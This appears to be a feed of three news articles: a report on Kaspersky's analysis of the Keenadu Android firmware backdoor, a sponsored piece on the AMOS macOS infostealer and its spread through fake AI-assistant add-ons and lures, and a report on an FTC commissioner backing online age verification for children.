the users attacked by the malware located in Russia, Japan, Germany, Brazil, and the Netherlands. Keenadu was first disclosed by Kaspersky in late December 2025, describing it as a backdoor in libandroid_runtime.so, a critical shared library in the Android operating system that's loaded during boot. Once it's active on an infected device, it's injected into the Zygote process, a behavior also observed in another Android malware called Triada. The malware is invoked by means of a function call added to the libandroid_runtime.so, following which it checks if it's running within system apps belonging either to Google services or to cellular carriers like Sprint or T-Mobile. If so, the execution is aborted. It also has a kill switch to terminate itself if it finds files with certain names in system directories. "Next, the Trojan checks if it is running within the system_server process," Kalinin said. "This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts." If this check is true, the malware proceeds to create an instance of the AKServer class. Otherwise, it creates an instance of the AKClient class. The AKServer component contains the core logic and command-and-control (C2) mechanism, while AKClient is injected into every app launched on the device and serves as the bridge for interacting with AKServer. This client-server architecture enables AKServer to execute custom malicious payloads tailored to the specific app it has targeted. AKServer also exposes another interface that malicious modules downloaded within the contexts of other apps can use to grant or revoke permissions to/from an arbitrary app on the device, get the current location, and exfiltrate device information. The AKServer component is also designed to run a series of checks that cause the malware to terminate if the interface language is Chinese and the device is located within a Chinese time zone, or if Google Play Store or Google Play Services are absent from the device. Once the necessary criteria are satisfied, the Trojan decrypts the C2 address and sends device metadata in encrypted format to the server. In response, the server returns an encrypted JSON object containing details about the payloads. However, in what appears to be an attempt to complicate analysis and evade detection, an added check built into the backdoor prevents the C2 server from serving any payloads until 2.5 months have elapsed since the initial check-in. "The attacker's server delivers information about the payloads as an object array," Kaspersky explained. "Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. Notably, the attackers chose Alibaba Cloud as their CDN provider." Some of the identified malicious modules are listed below - Keenadu loader, which targets popular online storefronts like Amazon, Shein, and Temu to deliver unspecified payloads. However, it's suspected that they make it possible to add items to the apps' shopping carts without the victim's knowledge. Clicker loader, which is injected into YouTube, Facebook, Google Digital Wellbeing, and Android System launcher to deliver payloads that can interact with advertising elements on gaming, recipes, and news websites. Google Chrome module, which targets the Chrome browser to hijack search requests and redirect them to a different search engine. However, it's worth noting that the hijacking attempt may fail if the victim selects an option from the autocomplete suggestions based on keywords entered in the address bar. Nova clicker, which is embedded within the system wallpaper picker and uses machine learning and WebRTC to interact with advertising elements. The same component was codenamed Phantom by Doctor Web in an analysis published last month. Install monetization, which is embedded into the system launcher and monetizes app installations by deceiving advertising platforms into believing that an app was installed from a legitimate ad tap. Google Play module, which retrieves the Google Ads advertising ID and stores it under the key "S_GA_ID3" for likely use by other modules for uniquely identifying a victim. Kaspersky said it also identified other Keenadu distribution vectors, including by embedding the Keenadu loader within various system apps, such as the facial recognition service and system launcher, in the firmware of several devices. This tactic has been observed in another Android malware known as Dwphon, which was integrated into system apps responsible for OTA updates. A second method concerns a Keenadu loader artifact that's designed to operate within a system where the system_server process had already been compromised by a different pre-installed backdoor that shares similarities with BADBOX. That's not all. Keenadu has also been discovered being propagated via trojanized apps for smart cameras on Google Play. The names of the apps, which were published by a developer named Hangzhou Denghong Technology Co., Ltd., are as follows - Eoolii (com.taismart.global) - 100,000+ downloads Ziicam (com.ziicam.aws) - 100,00+ downloads Eyeplus-Your home in your eyes (com.closeli.eyeplus) - 100,000+ downloads While these apps are no longer available for download from Google Play, the developer has published the same set of apps to the Apple App Store as well. When reached for comment, Kaspersky told The Hacker News that the iOS versions of the apps do not include the malicious functionality. This lends credence to the prevailing view that Keenadu is mainly designed to target Android tablets. With BADBOX acting as a distribution vector for Keenadu in some cases, further analysis has also uncovered infrastructure connections between Triada and BADBOX, indicating that these botnets are interacting with one another. In March 2025, HUMAN said it identified overlaps between BADBOX and Vo1d, an Android malware targeting off-brand Android-based TV boxes. The discovery of Keenadu is troubling for two main reasons - Given that the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device. This allows it to gain covert access to all data and render Android's app sandboxing ineffective. The malware's ability to bypass permissions used to control app privileges within the operating system turns it into a backdoor that grants attackers unfettered access and control over the compromised device. "Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise," Kaspersky concluded. "This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system." "Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials." Update Following the publication of the story, Google confirmed to The Hacker News that the three identified malicious apps have been removed from Google Play, urging users to ensure that their devices are Play Protect certified. The entire statement from the Google spokesperson has been reproduced verbatim below - Android users are automatically protected from known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services. Google Play Protect can warn users and disable apps known to exhibit Keenadu-associated behavior, even when those apps come from sources outside of Play. As a best security practice, we recommend users ensure their device is Play Protect certified.
thehackernews.comFeb 17, 2026extracted
AMOS infostealer targets macOS through a popular AI app
Infostealers like Atomic MacOS Stealer (AMOS) represent far more than a standalone malware. They are foundational components of a mature cybercrime economy built around harvesting, trading, and operationalizing stolen digital identities. Rather than acting as the end goal, modern stealers function as large-scale data collection engines that feed underground markets, where stolen credentials, sessions, and financial data are bought and sold to fuel account takeovers, fraud, and follow-on intrusions. What makes these campaigns particularly effective is their highly opportunistic social engineering approach: attackers continuously adapt to technology trends, abusing trusted platforms, popular software, search engines, and even emerging AI ecosystems to trick users into executing malware themselves. This combination of industrialized data monetization and adaptive social engineering has made infostealers one of the most reliable and scalable entry points in today’s cybercrime landscape. In the new 2026 Enterprise Infostealer Identity Exposure report, Flare researchers highlight the growing dominance of infostealers within the cybercrime economy and the expanding impact of identity exposure on organizations. In this article, we examine the AMOS infostealer as a case study, exploring its evolution, operational model, and real-world activity across its active years. How Do Infostealers Work? Infostealers operate as one of the most critical enablers in the modern cybercrime kill chain because they transform a single infection into large-scale credential, session, and identity compromise. In general, once executed on a victim machine, an infostealer rapidly enumerates browsers, system credential stores, crypto wallets, messaging apps, and local files, extracting authentication data, session cookies, and sensitive documents before exfiltrating them to attacker-controlled infrastructure. ClawHavoc - The Most Recent Campaign Recent research by Koi security reminded us that AMOS infostealer dissemination techniques are cunningly designed to find weaknesses and exploit every segment of technology users to steal their credentials. The research describes ClawHavoc as a large-scale supply-chain campaign targeting the OpenClaw and ClawHub ecosystem (A very popular personal AI assistant) by poisoning the skill marketplace itself. While the specific details are impressive, what matters more is the underlying tactic. AMOS distributors are capitalizing on OpenClaw's popularity as AI-hyped software. As users rush to install it for personal or organizational gains, attackers see an opportunity to bundle AMOS malware within it to steal valuable PII, credentials, and sensitive data. The delivery model: attackers uploaded skills (OpenClaw add-ons) that looked legitimate: crypto tools, productivity utilities, YouTube helpers, finance or Google Workspace integrations, etc. Once installed, the malware could steal credentials, crypto wallet data, browser sessions, SSH keys, and other sensitive data, highlighting how AI agent extension ecosystems can become high-impact distribution channels when marketplace vetting is weak. This is the latest campaign, let’s remember how it all started… Flare tracks over 1 million new stealer logs weekly from dark web markets and Telegram channels. Detect compromised credentials, active session cookies, and corporate access before threat actors weaponize them in account takeover attacks. Start Free Trial AMOS the Malware - First Sighting of AMOS AMOS first appeared around May 2023 on a Telegram channel. Stating its capabilities, which include exporting passwords from the Mac keychain, file grabber, system info, and macOS password exfiltration, browser session theft, crypto wallet data theft with various infostealer management capabilities (web-panel, tests, Telegram logs, etc). Back then, the cost was $1000 per month, paid through USDT(TRC20), ETH, or BTC. Since then, AMOS infostealer has become a part of the underground ecosystem, threat actors are willing to buy stealer logs that were extracted from infostealers (such as AMOS) in order to use them as an initial access to their own nefarious business. For instance, below you can see that a Russian-speaking threat actor dealing with Crypto wallet theft is looking for relevant AMOS logs. AMOS Modus-Operandi Traditionally, AMOS is disseminated like every known and popular infostealers, such as phishing links, phishing emails, trojanized installers, and click baits, but throughout recent years we have also seen some more noticeable campaigns. Targeting LastPass Users In an underground forum, we saw a post about LastPass that warned of an ongoing AMOS campaign. This campaign was targeting macOS users through fake applications distributed via fraudulent GitHub repositories, where attackers impersonate over 100 well-known software brands to increase legitimacy. The operation relies on SEO poisoning across Google and Bing to push these malicious repositories into search results, ultimately leading victims to ClickFix-style pages that socially engineer them into pasting Terminal commands, which download and execute the AMOS payload. The campaign is particularly resilient because attackers continuously generate new GitHub repositories using automated account creation, highlighting how trusted developer platforms and search engines are increasingly abused as scalable malware distribution infrastructure. AI-Driven Dissemination Channels ClawHavoc wasn’t AMOS’s first AI campaign. In December 2025, Huntress reported that AMOS is targeting ChatGPT users. The threat actors used the ChatGPT shared chat feature to host malicious “installation guides” directly on a trusted domain (chatgpt.com), making the lure significantly more convincing. Victims are driven there mainly via paid search ads (SEO poisoning/malvertising) promoting a fake “ChatGPT Atlas browser for macOS”, then instructed to run a one-line terminal command, effectively turning the user into the execution mechanism. This example shows yet again that threat actors are weaponizing AI content hype as part of their malware distribution. Traditional Dissemination Channels Modern macOS infostealer campaigns rely heavily on social engineering–driven distribution rather than technical exploits. Threat actors commonly create fake installers for popular software such as Tor Browser, Photoshop, or Microsoft Office, packaging malware inside realistic-looking DMG disk images. In parallel, they use malvertising through platforms like Google Ads to drive victims to spoofed download sites that closely mimic legitimate vendors. For example, users searching for legitimate software may be redirected to look-alike domains hosting malicious installers that silently deploy stealers such as AMOS. Another growing tactic is the use of instruction-based execution techniques (often called ClickFix), where victims are guided to run commands themselves in the macOS Terminal. Instead of exploiting system vulnerabilities, attackers rely on convincing installation instructions, which ultimately execute the malware payload. For instance, asking users to drag files into Terminal or paste commands. Together, these methods reflect a shift toward abusing user trust, brand impersonation, and legitimate distribution channels to bypass traditional security controls and increase infection success rates. The Underground Economy Model The AMOS ecosystem operates as a structured Malware-as-a-Service (MaaS) supply chain, where the developers (often tracked in underground forums as AMOS sellers or affiliates) provide the stealer platform, updates, infrastructure components, and sometimes management panels for a subscription cost historically advertised around ~$1,000 per month, typically paid in cryptocurrency. Downstream threat actors purchase access to the stealer kit, customize lures or distribution channels (malvertising, fake installers, phishing, SEO poisoning, supply-chain abuse, or social engineering campaigns), and focus on maximizing infection volume. The primary output is a list of stolen credentials, PII, and session logs. This becomes a tradable commodity in underground markets. These stealer logs are purchased by secondary actors such as access brokers, account takeover specialists, and crypto cash-out operators, who use them for follow-on operations, including SaaS account compromise, financial fraud, ransomware initial access, or cryptocurrency theft. This multi-stage monetization model turns AMOS infections into a repeatable revenue pipeline, where each actor in the chain specializes in development, distribution, or monetization, reflecting the broader industrialization of the modern infostealer economy. Unlike traditional malware that focuses on persistence, defense evasion, lateral movement, or destruction, infostealers prioritize speed, data coverage, and stealth, allowing attackers to quickly convert stolen data into usable access. The resulting “stealer logs” are then sold or traded in underground markets, where other threat actors use them for account takeover, lateral movement, fraud, or follow-on attacks, defacto making infostealers a foundational data-supply layer for the broader cybercrime economy. The distributor layer is where we typically see the “innovative” or “creative” side of these campaigns - and it’s what usually makes the headlines. This is the layer behind narratives like “AMOS is now targeting AI apps” or “AMOS campaigns are hitting LastPass users.” In reality, the core malware developers often remain consistent, occasionally adding a new feature or improving packaging and evasion, but the underlying capability set changes incrementally. The downstream log consumers also tend to operate with established, repeatable monetization techniques. The distributors, however, are the ones driving real campaign evolution: they decide who to target, define campaign scope, choose distribution channels, and continuously refine the psychological and social engineering techniques used to manipulate victims as part of their operational playbook. Sponsored and written by Flare.
bleepingcomputer.comFeb 12, 2026extracted
FTC commissioner says online age verification ‘offers a better way’ to protect kids
FTC commissioner says online age verification ‘offers a better way’ to protect kids The Federal Trade Commission (FTC) has recently been laser focused on protecting kids in the digital age, a fact that was underscored Wednesday when Commissioner Mark Meador came out strongly in favor of age verification becoming an online norm. “Age verification offers a better way — it offers a way to unleash American innovation without compromising the health and well-being of America's most important resource: its children,” Meador said in a speech at an agency-hosted age verification workshop. “It is a tool that empowers rather than replaces America's parents — really, I don't know that we can afford to forego it.” At least 25 states have enacted laws requiring verification of users’ ages to allow access to some online content. The issue is controversial — civil libertarians, tech giants and digital freedom advocates argue that age-gating imperils free speech and cuts vulnerable kids off from online resources. Court rulings on the issue have been mixed. NetChoice, a tech industry association, has won multiple lawsuits challenging state age verification laws. Meanwhile, in June, the Supreme Court upheld a Texas law requiring pornography sites to verify user ages. The high court ruled that age verification requirements do not violate the First Amendment. The ruling is expected to increase the push for age verification of porn sites at the state level. Meador framed the issue through the lens of child safety, citing statistics showing increases in self-harm among children in the digital era. Since 2010, he said, suicide rates have spiked by 91% for adolescent boys and 167% for adolescent girls. Self-harm has also been rising — emergency room visits for self-harm among adolescent girls has increased by 188% during the same time frame, he said. “This is a pretty suggestive pattern and what it suggests is that the more we've been connected digitally, the worse off we've become,” Meador said. “A bitter irony — the age of the smartphone and social media is, for too many children, an age of suffering.” He added that new technologies, including AI, can ferret out kids seeking inappropriate content without compromising privacy. “Behavioral age verification … strikes me as one of the best use cases for artificial intelligence,” he said. “Machine learning can help detect patterns in browsing and usage behavior that consistently indicate whether a user is too young to be on the platform.” ‘Mass monetization’ of kids’ data Meador also took aim at tech companies’ data collection practices, alleging that they have preyed on kids to turn profits. “Mass monetization of America's children is not the future we hoped for, nor are the predation and extremism that seem … increasingly to define our encounters online,” Meador said. “American families have enough on their minds right now — the last thing they need is to have their kids’ data harvested and monetized by multibillion dollar tech companies, or watch their kids suffer from premature exposure to the worst the internet has to offer.” The Trump FTC has cracked down on companies that it says have illegally collected kids’ data in recent months. While adtech location data harvesting enforcements have notably waned, the newly constituted FTC has aggressively enforced the Children’s Online Privacy Protection Rule (COPPA). In December, the agency announced that Disney would pay $10 million to settle allegations that it improperly harvested personal data from kids' YouTube viewing history without notifying parents or obtaining their consent. The Disney enforcement followed a September announcement that the FTC is suing the operator of an anonymous messaging app for its data collection practices involving children. The agency alleged that the Sendit app did not notify parents that it was collecting phone numbers, birthdates, photos and social media usernames from children under 13. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.
therecord.mediaJan 28, 2026extracted
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